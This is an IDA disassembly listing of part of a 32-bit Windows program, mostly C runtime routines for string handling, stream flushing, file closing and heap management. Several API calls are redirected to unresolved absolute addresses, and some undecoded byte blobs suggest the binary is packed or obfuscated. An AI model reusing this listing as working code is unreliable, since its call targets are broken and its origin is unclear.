		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596

loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi

loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi

loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170EC+BFp
					; sub_4170EC+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB334
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645

loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl

loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------

loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi

loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADD+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA

loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD

loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------

loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh

loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0

loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax

loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418068+6p
					; sub_418086+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB334, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------

loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43C504, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------

loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, esi

loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD

loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------

loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C2F8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------

loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi

loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------

loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A4+ADp
					; sub_419593+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E

loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824

loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A4+7Fp
					; sub_4185A4+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DB334, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E

loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------

loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DB344
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		nop
		call	near ptr 2690800h
		cmp	eax, 7Ah
		jz	short loc_41D8BF

loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------

loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx

loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C2F8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax

loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7

loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DB344
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------

loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DB334, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------

loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DB344
		nop
		call	near ptr 2850000h
		cmp	eax, esi
		jz	short loc_41D8B0

loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax

loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 13h
		dd 9CC7FF9Dh, 1FFFA547h, 6F20175Fh, 0A1643769h,	0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 68E890E8h, 33024B40h, 89D48AD2h
		dd 4DB29015h, 81C88B00h, 0FFE1h, 8C0D8900h, 0C1004DB2h
		dd 0CA0308E1h, 0B2880D89h, 0E8C1004Dh, 0B284A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 0E8000059h, 24B3FC2h, 0C90CA390h,	19E8004Dh
		dd 0A3000058h, 4DB2E8h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 0E89050A4h, 24B2628h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 22E89056h, 50022734h, 0FE3820E8h,	0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB2F0, 1
		jnz	short loc_41DA37
		call	sub_423590

loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A2C0
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB2F0
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 90000000h
		dd 0A58244E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DC6C0
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF

loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB

loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 2670999h
		test	eax, eax
		jnz	short loc_41DAEB
		call	near ptr 2690800h
		nop
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------

loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp

loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------

loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------

loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9

loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh

loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax

loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------

loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh

loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DC5A0, esi
		jle	short loc_41DC4E

loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DB598
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------

loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax

loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DC5A0
		jl	short loc_41DC01

loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi

loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 2690E1Dh
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al

loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 26E065Ah
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------

loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F

loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al

loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC

loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------

loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2680000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65

loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al

loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52

loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx

loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1

loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------

loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx

loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93

loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF

loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3

loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 24D2218h
		dd 0A3C08590h, 4DC904h,	93E83674h, 83FFFFFEh, 8A303F8h
		dd 75004DC9h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0C90435FFh, 0E890004Dh
		dd 24C3082h, 6AC3C033h,	68C35801h, 140h, 35FF006Ah, 4DC904h
		dd 21BEE890h, 0C085023Bh, 4DC8FCA3h, 0C3017500h, 4244C8Bh
		dd 0C8F42583h, 8300004Dh, 4DC8F825h, 16A0000h, 4DC8F0A3h
		dd 0D8900h, 0C7004DC9h,	4DC8E805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DC8F8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DC8FC
		lea	ecx, [eax+ecx*4]

loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------

loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx

loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------

